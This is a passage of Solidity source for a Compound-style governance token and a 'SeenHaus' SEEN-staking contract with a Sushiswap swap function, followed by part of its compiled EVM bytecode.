function transfer(address dst, uint rawAmount) external returns (bool) {
uint96 amount = safe96(rawAmount, "Comp::transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint rawAmount) external returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "Comp::approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != type(uint96).max) {
uint96 newAllowance = sub96(spenderAllowance, amount, "Comp::transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
function _mint(address account, uint amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0));
totalSupply += amount;
balances[account] += uint96(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account);
require(balances[account] >= uint96(amount), "ERC20: burn amount exceeds balance");
balances[account] -= uint96(amount);
totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Comp::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "Comp::delegateBySig: invalid nonce");
require(block.timestamp <= expiry, "Comp::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber) public view returns (uint96) {
require(blockNumber < block.number, "Comp::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(address src, address dst, uint96 amount) internal {
require(src != address(0), "Comp::_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "Comp::_transferTokens: cannot transfer to the zero address");
_beforeTokenTransfer(src);
balances[src] = sub96(balances[src], amount, "Comp::_transferTokens: transfer amount exceeds balance");
balances[dst] = add96(balances[dst], amount, "Comp::_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "Comp::_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "Comp::_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number, "Comp::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal view returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
function _beforeTokenTransfer(address from) internal virtual { }
}
interface IWETH {
function deposit() external payable;
}
interface Sushiswap {
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
}
contract SeenHaus is GovERC20(){
address public constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address public constant sushiswap = 0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F;
IERC20 public constant seen = IERC20(0xCa3FE04C7Ee111F0bbb02C328c699226aCf9Fd33);
// accounts balances are locked for 3 days after entering
mapping(address => uint256) locked;
constructor() {
IERC20(weth).approve(sushiswap, type(uint256).max);
}
function _beforeTokenTransfer(address from) internal view override {
require(locked[from] <= block.timestamp, "transfer:too soon after minting");
}
// Enter the haus. Pay some SEENs. Earn some shares.
function enter(uint256 _amount) public {
uint256 totalSeen = seen.balanceOf(address(this));
uint256 totalShares = totalSupply;
locked[msg.sender] = block.timestamp + 3 days;
if (totalShares == 0 || totalSeen == 0) {
_mint(msg.sender, _amount);
} else {
uint256 what = _amount * totalShares / totalSeen;
_mint(msg.sender, what);
}
seen.transferFrom(msg.sender, address(this), _amount);
}
// Leave the haus. Claim back your SEENs.
function leave(uint256 _share) public {
uint256 totalShares = totalSupply;
uint256 what = _share * seen.balanceOf(address(this)) / totalShares;
_burn(msg.sender, _share);
seen.transfer(msg.sender, what);
}
function swap() public {
IWETH(weth).deposit{value: address(this).balance}();
uint256 amountIn = IERC20(weth).balanceOf(address(this));
address[] memory path = new address[](2);
path[0] = weth;
path[1] = address(seen);
Sushiswap(sushiswap).swapExactTokensForTokens(
amountIn,
0,
path,
address(this),
block.timestamp
);
}
receive() external payable {}
}
|
0x60806040526004361061016a5760003560e01c8063782d6fe1116100d1578063a9059cbb1161008a578063d99aa8e211610064578063d99aa8e214610583578063dd62ed3e146105ae578063e7a324dc146105eb578063f1127ed81461061657610171565b8063a9059cbb146104e0578063b4b5ea571461051d578063c3cda5201461055a57610171565b8063782d6fe1146103d05780637ecebe001461040d5780638119c0651461044a57806395d89b41146104615780639be287851461048c578063a59f3e0c146104b757610171565b80633fc8cef3116101235780633fc8cef31461029c578063587cde1e146102c75780635c19a95c1461030457806367dfd4c91461032d5780636fcfff451461035657806370a082311461039357610171565b806306fdde0314610176578063095ea7b3146101a157806318160ddd146101de57806320606b701461020957806323b872dd14610234578063313ce5671461027157610171565b3661017157005b600080fd5b34801561018257600080fd5b5061018b610654565b604051610198919061364f565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612fd4565b61068d565b6040516101d5919061352f565b60405180910390f35b3480156101ea57600080fd5b506101f361080c565b60405161020091906137b1565b60405180910390f35b34801561021557600080fd5b5061021e610812565b60405161022b919061354a565b60405180910390f35b34801561024057600080fd5b5061025b60048036038101906102569190612f85565b610836565b604051610268919061352f565b60405180910390f35b34801561027d57600080fd5b50610286610aaa565b604051610293919061386a565b60405180910390f35b3480156102a857600080fd5b506102b1610aaf565b6040516102be91906134b4565b60405180910390f35b3480156102d357600080fd5b506102ee60048036038101906102e99190612f20565b610ac7565b6040516102fb91906134b4565b60405180910390f35b34801561031057600080fd5b5061032b60048036038101906103269190612f20565b610afa565b005b34801561033957600080fd5b50610354600480360381019061034f919061313f565b610b07565b005b34801561036257600080fd5b5061037d60048036038101906103789190612f20565b610c75565b60405161038a9190613826565b60405180910390f35b34801561039f57600080fd5b506103ba60048036038101906103b59190612f20565b610c98565b6040516103c791906137b1565b60405180910390f35b3480156103dc57600080fd5b506103f760048036038101906103f29190612fd4565b610d07565b60405161040491906138a0565b60405180910390f35b34801561041957600080fd5b50610434600480360381019061042f9190612f20565b611142565b60405161044191906137b1565b60405180910390f35b34801561045657600080fd5b5061045f61115a565b005b34801561046d57600080fd5b506104766114a8565b604051610483919061364f565b60405180910390f35b34801561049857600080fd5b506104a16114e1565b6040516104ae91906134b4565b60405180910390f35b3480156104c357600080fd5b506104de60048036038101906104d9919061313f565b6114f9565b005b3480156104ec57600080fd5b5061050760048036038101906105029190612fd4565b6116e5565b604051610514919061352f565b60405180910390f35b34801561052957600080fd5b50610544600480360381019061053f9190612f20565b611722565b60405161055191906138a0565b60405180910390f35b34801561056657600080fd5b50610581600480360381019061057c9190613010565b611819565b005b34801561058f57600080fd5b50610598611adc565b6040516105a59190613634565b60405180910390f35b3480156105ba57600080fd5b506105d560048036038101906105d09190612f49565b611af4565b6040516105e291906137b1565b60405180910390f35b3480156105f757600080fd5b50610600611ba1565b60405161060d919061354a565b60405180910390f35b34801561062257600080fd5b5061063d60048036038101906106389190613099565b611bc5565b60405161064b929190613841565b60405180910390f35b6040518060400160405280601381526020017f5365656e4861757320476f7665726e616e63650000000000000000000000000081525081565b6000807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8314156106cc576bffffffffffffffffffffffff90506106f1565b6106ee8360405180606001604052806025815260200161419760259139611c1e565b90505b80600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516107f99190613885565b60405180910390a3600191505092915050565b60005481565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6000803390506000600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff16905060006108f98560405180606001604052806025815260200161419760259139611c1e565b90508673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561095357506bffffffffffffffffffffffff8016826bffffffffffffffffffffffff1614155b15610a9157600061097d83836040518060600160405280603d815260200161426e603d9139611c7c565b905080600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610a879190613885565b60405180910390a3505b610a9c878783611cf6565b600193505050509392505050565b601281565b73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b60036020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610b0433826120e0565b50565b60008054905060008173ca3fe04c7ee111f0bbb02c328c699226acf9fd3373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610b5d91906134b4565b60206040518083038186803b158015610b7557600080fd5b505afa158015610b89573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bad9190613168565b84610bb89190613ac9565b610bc29190613a67565b9050610bce33846122a0565b73ca3fe04c7ee111f0bbb02c328c699226acf9fd3373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610c1d929190613506565b602060405180830381600087803b158015610c3757600080fd5b505af1158015610c4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c6f9190613116565b50505050565b60056020528060005260406000206000915054906101000a900463ffffffff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff169050919050565b6000438210610d4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d42906136d1565b60405180910390fd5b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff161415610db857600091505061113c565b82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600184610e079190613b57565b63ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff1611610ecc57600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600183610e8e9190613b57565b63ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff1691505061113c565b82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008063ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff161115610f4d57600091505061113c565b600080600183610f5d9190613b57565b90505b8163ffffffff168163ffffffff1611156110be57600060028383610f849190613b57565b610f8e9190613a98565b82610f999190613b57565b90506000600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206040518060400160405290816000820160009054906101000a900463ffffffff1663ffffffff1663ffffffff1681526020016000820160049054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff166bffffffffffffffffffffffff1681525050905086816000015163ffffffff16141561108d5780602001519550505050505061113c565b86816000015163ffffffff1610156110a7578193506110b7565b6001826110b49190613b57565b92505b5050610f60565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff1693505050505b92915050565b60066020528060005260406000206000915090505481565b73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc273ffffffffffffffffffffffffffffffffffffffff1663d0e30db0476040518263ffffffff1660e01b81526004016000604051808303818588803b1580156111b657600080fd5b505af11580156111ca573d6000803e3d6000fd5b5050505050600073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161121e91906134b4565b60206040518083038186803b15801561123657600080fd5b505afa15801561124a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061126e9190613168565b90506000600267ffffffffffffffff8111156112b3577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156112e15781602001602082028036833780820191505090505b50905073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281600081518110611333577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505073ca3fe04c7ee111f0bbb02c328c699226acf9fd33816001815181106113bc577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505073d9e1ce17f2641f24ae83637ab66a2cca9c378b9f73ffffffffffffffffffffffffffffffffffffffff166338ed17398360008430426040518663ffffffff1660e01b815260040161144c9594939291906137cc565b600060405180830381600087803b15801561146657600080fd5b505af115801561147a573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052508101906114a391906130d5565b505050565b6040518060400160405280600581526020017f785345454e00000000000000000000000000000000000000000000000000000081525081565b73d9e1ce17f2641f24ae83637ab66a2cca9c378b9f81565b600073ca3fe04c7ee111f0bbb02c328c699226acf9fd3373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161154891906134b4565b60206040518083038186803b15801561156057600080fd5b505afa158015611574573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115989190613168565b90506000805490506203f480426115af9190613995565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008114806116015750600082145b156116155761161033846124e5565b61163c565b60008282856116249190613ac9565b61162e9190613a67565b905061163a33826124e5565b505b73ca3fe04c7ee111f0bbb02c328c699226acf9fd3373ffffffffffffffffffffffffffffffffffffffff166323b872dd3330866040518463ffffffff1660e01b815260040161168d939291906134cf565b602060405180830381600087803b1580156116a757600080fd5b505af11580156116bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116df9190613116565b50505050565b60008061170a836040518060600160405280602681526020016141bc60269139611c1e565b9050611717338583611cf6565b600191505092915050565b600080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff161161178c576000611811565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001836117da9190613b57565b63ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b915050919050565b60007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a8666040518060400160405280601381526020017f5365656e4861757320476f7665726e616e63650000000000000000000000000081525080519060200120611881612675565b3060405160200161189594939291906135aa565b60405160208183030381529060405280519060200120905060007fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf8888886040516020016118e69493929190613565565b6040516020818303038152906040528051906020012090506000828260405160200161191392919061347d565b60405160208183030381529060405280519060200120905060006001828888886040516000815260200160405260405161195094939291906135ef565b6020604051602081039080840390855afa158015611972573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156119ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e590613691565b60405180910390fd5b600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611a3e90613cf2565b919050558914611a83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7a906136f1565b60405180910390fd5b87421115611ac6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611abd906136b1565b60405180910390fd5b611ad0818b6120e0565b50505050505050505050565b73ca3fe04c7ee111f0bbb02c328c699226acf9fd3381565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff16905092915050565b7fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf81565b6004602052816000526040600020602052806000526040600020600091509150508060000160009054906101000a900463ffffffff16908060000160049054906101000a90046bffffffffffffffffffffffff16905082565b60006c0100000000000000000000000083108290611c72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c69919061364f565b60405180910390fd5b5082905092915050565b6000836bffffffffffffffffffffffff16836bffffffffffffffffffffffff1611158290611ce0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd7919061364f565b60405180910390fd5b508284611ced9190613b8b565b90509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611d66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5d90613751565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611dd6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dcd90613711565b60405180910390fd5b611ddf83612682565b611e59600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff168260405180606001604052806036815260200161416160369139611c7c565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff160217905550611f40600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff168260405180606001604052806030815260200161423e60309139612707565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161200a9190613885565b60405180910390a36120db600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683612786565b505050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff16905082600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f60405160405180910390a461229a828483612786565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612310576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161230790613771565b60405180910390fd5b61231982612682565b806bffffffffffffffffffffffff16600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff1610156123cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123c690613671565b60405180910390fd5b80600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282829054906101000a90046bffffffffffffffffffffffff166124359190613b8b565b92506101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff160217905550806000808282546124749190613b23565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516124d991906137b1565b60405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612555576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161254c90613791565b60405180910390fd5b61255f6000612682565b806000808282546125709190613995565b9250508190555080600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282829054906101000a90046bffffffffffffffffffffffff166125dd9190613a25565b92506101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161266991906137b1565b60405180910390a35050565b6000804690508091505090565b42600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115612704576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126fb90613731565b60405180910390fd5b50565b60008083856127169190613a25565b9050846bffffffffffffffffffffffff16816bffffffffffffffffffffffff161015839061277a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612771919061364f565b60405180910390fd5b50809150509392505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156127d057506000816bffffffffffffffffffffffff16115b15612a8e57600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614612931576000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff16116128735760006128f8565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001846128c19190613b57565b63ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b9050600061291f828560405180606001604052806028815260200161421660289139611c7c565b905061292d86848484612a93565b5050505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612a8d576000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff16116129cf576000612a54565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600184612a1d9190613b57565b63ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b90506000612a7b82856040518060600160405280602781526020016142ab60279139612707565b9050612a8985848484612a93565b5050505b5b505050565b6000612ab7436040518060600160405280603481526020016141e260349139612da1565b905060008463ffffffff16118015612b5557508063ffffffff16600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600187612b1f9190613b57565b63ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16145b15612bf95781600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600187612ba99190613b57565b63ffffffff1663ffffffff16815260200190815260200160002060000160046101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff160217905550612d4a565b60405180604001604052808263ffffffff168152602001836bffffffffffffffffffffffff16815250600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008663ffffffff1663ffffffff16815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908363ffffffff16021790555060208201518160000160046101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff160217905550905050600184612cec91906139eb565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff1602179055505b8473ffffffffffffffffffffffffffffffffffffffff167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248484604051612d929291906138bb565b60405180910390a25050505050565b600064010000000083108290612ded576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612de4919061364f565b60405180910390fd5b5082905092915050565b6000612e0a612e0584613909565b6138e4565b90508083825260208201905082856020860282011115612e2957600080fd5b60005b85811015612e595781612e3f8882612ee1565b845260208401935060208301925050600181019050612e2c565